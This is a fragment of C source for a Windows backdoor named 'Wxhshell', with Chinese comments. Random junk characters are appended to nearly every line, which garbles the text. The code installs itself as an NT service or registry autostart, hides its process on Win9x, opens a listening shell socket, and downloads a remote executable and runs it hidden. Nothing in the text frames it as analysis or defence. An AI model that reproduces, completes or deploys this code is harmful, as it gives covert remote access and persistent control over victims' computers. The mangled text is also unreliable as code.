DWORD AffinityMask; :qAX9T'{t
DWORD BasePriority; rKT.~ZP\
ULONG UniqueProcessId; G$QN_h,}
ULONG InheritedFromUniqueProcessId; .Y8P6_
} PROCESS_BASIC_INFORMATION; /EegP@[
Je2&7uR0
PROCNTQSIP NtQueryInformationProcess; @de0)AJG6
Qgv g*KX
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~_F;>N~
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sX*L[3!vN
WU@_aw[
HANDLE hProcess; esQ`6i
PROCESS_BASIC_INFORMATION pbi; 2+C:Em0yI
q"DHMZB
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `R7dn/
if(NULL == hInst ) return 0; 3c(mZ
C~"UOFX
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @$;8k }
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L$+_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uq{$j5p8
7sWe32
if (!NtQueryInformationProcess) return 0; ct
OCj$$u
Iu5 9W>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kt\,$.v8
if(!hProcess) return 0; `g)
;cPPx`0$9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )UTjP/\gN
f1elzANy
CloseHandle(hProcess); N`3^:EJL8
2+S+Y%~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4GG>n
if(hProcess==NULL) return 0; j {2 0
4`fV_H.8
HMODULE hMod; P/^@t+KC
char procName[255]; j72mm!
unsigned long cbNeeded; ;3xi.^=B
i_l{#*t
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .X"&kO>G
fo`R=|L[
CloseHandle(hProcess); ST~YO
RP[`\
if(strstr(procName,"services")) return 1; // 以服务启动 a#[gNT~[
Bg zq
return 0; // 注册表启动 "!7Hu7
} 5} ur,0{
?TIi0;h
// 主模块 .a(G=fk
int StartWxhshell(LPSTR lpCmdLine) JKO*bbj
{ 4K dYiuz0`
SOCKET wsl; j!oX\Y-: &
BOOL val=TRUE; PApr8Xe
int port=0; 0R`>F">
struct sockaddr_in door; "UhE'\()
IMMsOl
if(wscfg.ws_autoins) Install(); 1>Vq<z
&V SZ
port=atoi(lpCmdLine); {D|ST2:E
,/TmTX--d
if(port<=0) port=wscfg.ws_port; ,{msJyacmR
nN@
Ch
WSADATA data; !g}@xwWax
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -MsL>F.]
@JLN3
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2Q@Jp`#,4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .d$Q5Qae
door.sin_family = AF_INET; 2J$vX(
door.sin_addr.s_addr = inet_addr("127.0.0.1"); \w1',"l`
door.sin_port = htons(port); 4}cxSl]jf!
ydY 7 :D
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )+8r$ i
closesocket(wsl); I8B0@ZtV
return 1; re#]zc<
} -e_TJA
\v<S:cTf
if(listen(wsl,2) == INVALID_SOCKET) { @OUBo;/
closesocket(wsl); |r?0!;bN0
return 1; ?MmQ'1N
} Y"KJ`Rx
Wxhshell(wsl); @p^EXc*|
WSACleanup(); 0+SZ-]
+%KkzdS'
return 0; gGBRfq>
*b0z/6
} 1=sL[I 7<
1|ddG010
// 以NT服务方式启动 FV
aC8Kw
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d7QUg6=
{ tSoF!@6
DWORD status = 0; vkR~nIp
DWORD specificError = 0xfffffff; }aXS MxCd
a MFUj+^
serviceStatus.dwServiceType = SERVICE_WIN32; ][V`ym-e
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @icw:68
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -a~n_Z>_
serviceStatus.dwWin32ExitCode = 0; 3="vOSJ6&
serviceStatus.dwServiceSpecificExitCode = 0; B^zg#x#8
serviceStatus.dwCheckPoint = 0; OkISRj'!U
serviceStatus.dwWaitHint = 0; #DJZ42
T3"'`Sd9;
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _Ye.29
if (hServiceStatusHandle==0) return; dBovcc
O&;d8 2IA{
status = GetLastError(); ;qbK[3.
if (status!=NO_ERROR) AS~!YR
{ h&d"| <
serviceStatus.dwCurrentState = SERVICE_STOPPED; BzWkZAX
serviceStatus.dwCheckPoint = 0; 4@<wN \'
serviceStatus.dwWaitHint = 0; *mWl=J;u
serviceStatus.dwWin32ExitCode = status; i`];xNR'
serviceStatus.dwServiceSpecificExitCode = specificError; 7,Z<PE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 88[u^aC
return; 6|3 X*Orn
} zzo93d
`Je1$)%
serviceStatus.dwCurrentState = SERVICE_RUNNING; vJVh%l+
serviceStatus.dwCheckPoint = 0; EowzEGq!a5
serviceStatus.dwWaitHint = 0; 5P\A++22Y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3K/tB1
} ;YMg4Cs
HUCJA-OZGL
// 处理NT服务事件,比如:启动、停止 d=uGB"
VOID WINAPI NTServiceHandler(DWORD fdwControl) eK*oV}U-k
{ }-XZ1qr
switch(fdwControl) VSV]6$~H
{ /0fsn_
case SERVICE_CONTROL_STOP: mQ`2c:Rn&7
serviceStatus.dwWin32ExitCode = 0; 1MnC5[Q
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;
2V$`k
serviceStatus.dwCheckPoint = 0; !io1~GpKS
serviceStatus.dwWaitHint = 0; D Y4!RjJ47
{ ^P]5@d v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l`:u5\ rM
} 5ZH3}B^L$
return; /'_<~A
case SERVICE_CONTROL_PAUSE: % a.T@E
serviceStatus.dwCurrentState = SERVICE_PAUSED; (aSuxl.Dq
break; GQd[7j[sh
case SERVICE_CONTROL_CONTINUE: BtKor6ba
serviceStatus.dwCurrentState = SERVICE_RUNNING; Jmg9|g!f
break; +Ig%h[1a
case SERVICE_CONTROL_INTERROGATE: #G`K<%{?f
break; (&r`
l&0
}; :i0;jWcb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); En\q. 3
5
} .oTS7rYw
P?n4B \!
// 标准应用程序主函数 dKU:\y
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *_#2|96)
{ -Eq[J k
4E2/?3D
// 获取操作系统版本 :&'jh/vRN
OsIsNt=GetOsVer(); *jPd=+d
GetModuleFileName(NULL,ExeFile,MAX_PATH); XK@&$~iA3
R4JfH
// 从命令行安装 +TaxH;
if(strpbrk(lpCmdLine,"iI")) Install(); PeqW+Q.
Wq5}LO)
// 下载执行文件 .oT'(6#
if(wscfg.ws_downexe) { tCGx]\
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i\b^}m8c.N
WinExec(wscfg.ws_filenam,SW_HIDE); [+R_3'aK
} 2@
9? ~?r
pOn &D
if(!OsIsNt) { !5?_)
// 如果时win9x,隐藏进程并且设置为注册表启动 %,HUn`
HideProc(); D&o\q68W
StartWxhshell(lpCmdLine); >JsVIfAF
} /^k%sG@?
else 7qUg~GJX
if(StartFromService()) %g@\SR.
// 以服务方式启动 `O0Qtq.
StartServiceCtrlDispatcher(DispatchTable); w{xa@Q]t-
else vWM&4|Q1~
// 普通方式启动 N"G\H<n
StartWxhshell(lpCmdLine); Y%0rji
jXALL8[c
return 0; 00dY?d{[D
}